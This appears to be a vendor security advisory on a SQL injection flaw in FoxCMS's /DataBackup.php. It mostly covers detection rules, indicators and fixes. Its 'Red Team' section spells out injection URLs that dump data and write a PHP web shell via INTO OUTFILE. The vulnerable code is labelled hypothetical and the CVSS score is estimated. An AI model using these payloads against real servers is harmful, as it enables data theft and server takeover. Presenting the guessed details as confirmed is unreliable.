CVE-2025-56435

Executive Summary

CVE-2025-56435 is a critical SQL Injection vulnerability discovered in FoxCMS version 1.2.6 and earlier. The flaw resides in the /DataBackup.php file, specifically within the id parameter during a backup operation. An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some cases, remote code execution via stacked queries or file write operations. No official patch has been released by the vendor, and the vulnerability is considered unpatched at this time.

Supply Chain & Package Security

FoxCMS is a PHP-based content management system. While it is not distributed via NPM, PyPI, Go, or Ruby registries, its dependencies (e.g., PHP, MySQL, Apache/Nginx) are part of the supply chain. Organizations using FoxCMS should treat this as a critical supply chain risk due to the lack of a vendor patch and the public availability of exploit details.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public proof-of-concept code is available.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id parameter of the /DataBackup.php script. The application likely constructs a SQL query by directly concatenating user-supplied input from the id parameter without proper sanitization or parameterized queries.

Vulnerable Code Snippet (Hypothetical):

<?php
$id = $_GET['id'];
$sql = "SELECT * FROM backups WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

An attacker can inject SQL commands by providing a malicious value for id, such as:

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100

This can be used to extract data from other tables, or if the database user has sufficient privileges, write a web shell to the server using INTO OUTFILE.

Vulnerable vs. Patched Code

Since no patch is available, the comparison is between the vulnerable code and a secure implementation.

Vulnerable Code (FoxCMS 1.2.6):

<?php
// /DataBackup.php
$id = $_GET['id'];
$sql = "SELECT * FROM backups WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Recommended):

<?php
// /DataBackup.php
$id = intval($_GET['id']);
$sql = "SELECT * FROM backups WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses parameterized queries (prepared statements) to prevent SQL injection. The intval() function is also used as an additional layer of defense.

Exploitation & Lab Setup

Red Team

Prerequisites:

• FoxCMS 1.2.6 installed on a local lab (e.g., XAMPP, LAMP).
• Access to the /DataBackup.php endpoint.

Exploitation Steps:

1. Identify the vulnerable parameter:

   http://target.com/DataBackup.php?id=1
   

2. Test for SQL injection:

   http://target.com/DataBackup.php?id=1'
   

   If an error is returned, the parameter is vulnerable.

3. Extract database version:

   http://target.com/DataBackup.php?id=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

4. Write a web shell (if MySQL user has FILE privilege):

   http://target.com/DataBackup.php?id=1 UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 INTO OUTFILE '/var/www/html/shell.php'--
   

5. Execute commands:

   http://target.com/shell.php?cmd=id
   

Blue Team

Detection and Response:

1. Monitor HTTP requests to /DataBackup.php for abnormal id parameters containing SQL keywords (e.g., UNION, SELECT, INTO OUTFILE).
2. Enable WAF rules to block SQL injection patterns.
3. Check database logs for suspicious queries originating from the web application user.
4. Review file system for unexpected files in web-accessible directories (e.g., shell.php).
5. Isolate the affected server and perform forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /DataBackup.php with id parameter containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs.
  • Unusual database error messages in HTTP responses.

• File System IOCs:

  • Presence of unexpected PHP files in web root (e.g., shell.php, cmd.php).
  • Modified or new files in /var/www/html/ or equivalent.
  • Suspicious entries in MySQL data directory (e.g., files created by INTO OUTFILE).

• Database IOCs:

  • Queries containing UNION, SELECT ... INTO OUTFILE, or LOAD_FILE.
  • Unauthorized changes to database tables (e.g., new admin users).

Detection Engineering

YARA Rule

rule Detect_FoxCMS_SQLi_Exploit {
    meta:
        description = "Detects SQL injection attempts targeting FoxCMS /DataBackup.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56435"
    strings:
        $s1 = "/DataBackup.php" nocase
        $s2 = "id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "INTO OUTFILE" nocase
        $s6 = "LOAD_FILE" nocase
    condition:
        $s1 and $s2 and ($s3 or $s4 or $s5 or $s6)
}

Sigma Rule

title: FoxCMS SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against FoxCMS /DataBackup.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56435
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/DataBackup.php?id="
            - "UNION"
            - "SELECT"
            - "INTO OUTFILE"
            - "LOAD_FILE"
    condition: selection
falsepositives:
    - Legitimate database backup operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"FoxCMS SQL Injection Attempt"; flow:to_server,established; content:"/DataBackup.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|INTO OUTFILE|LOAD_FILE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Immediate Actions:

   • Disable or remove the /DataBackup.php file if not required.
   • Restrict access to /DataBackup.php via .htaccess or web server configuration (e.g., allow only specific IPs).
   • Implement a Web Application Firewall (WAF) with SQL injection rules.

2. Code-Level Fix:

   • Replace all direct SQL queries with parameterized prepared statements.
   • Validate and sanitize all user inputs, especially numeric parameters (use intval() or ctype_digit()).

3. Long-Term Actions:

   • Migrate to a supported CMS or apply custom patches.
   • Conduct a full security audit of the FoxCMS codebase.
   • Monitor for official patches from the vendor.

4. Detection:

   • Deploy the YARA, Sigma, and Suricata rules provided above.
   • Enable detailed logging for web server and database.

Valters IT
Securing Digital Frontiers